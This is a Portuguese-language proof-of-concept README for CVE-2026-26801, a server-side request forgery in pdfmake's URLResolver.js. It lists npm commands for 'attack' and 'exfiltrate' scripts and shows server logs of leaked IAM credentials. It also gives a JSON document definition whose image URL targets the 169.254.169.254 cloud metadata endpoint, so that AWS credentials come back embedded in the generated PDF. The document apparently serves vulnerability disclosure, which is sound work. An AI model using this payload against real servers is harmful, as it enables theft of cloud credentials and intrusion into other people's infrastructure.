
PoC para CVE-2026-26801: SSRF em pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5)
| Campo | Valor |
|---|
| Pacote | pdfmake |
| Versão | >= 0.3.0-beta.2, <= 0.3.5 |
| Corrigida | 0.3.6 |
| CVE | CVE-2026-26801 |
| Tipo | Server-Side Request Forgery (SSRF) |
| Localização | src/URLResolver.js |
| Gravidade | ALTA |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
Quando docDefinition contém URLs em images, attachments ou files, o pdfmake as busca sem qualquer validação:
npm install
npm run metadata
npm run server
SSRF Cego (prova que o servidor faz requisições externas):
npm run attack
SSRF com Leitura Completa (credenciais incorporadas no PDF gerado):
npm run exfiltrate
npm run attack)Saída do Servidor de Metadados:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
Isso prova que o servidor vulnerável fez uma requisição externa para nosso endpoint controlado.
npm run exfiltrate)O script de ataque gera exfiltrated.pdf. Abra-o em qualquer visualizador de PDF e o JSON das credenciais AWS estará incorporado como anexo de arquivo (metadata.json). Isso prova a exfiltração completa de dados, não apenas SSRF cego. O atacante obtém o corpo real da resposta de volta dentro do PDF.
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
Writeup técnico completo com a história de como isso foi encontrado, a cadeia de ataque e a linha do tempo da divulgação: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf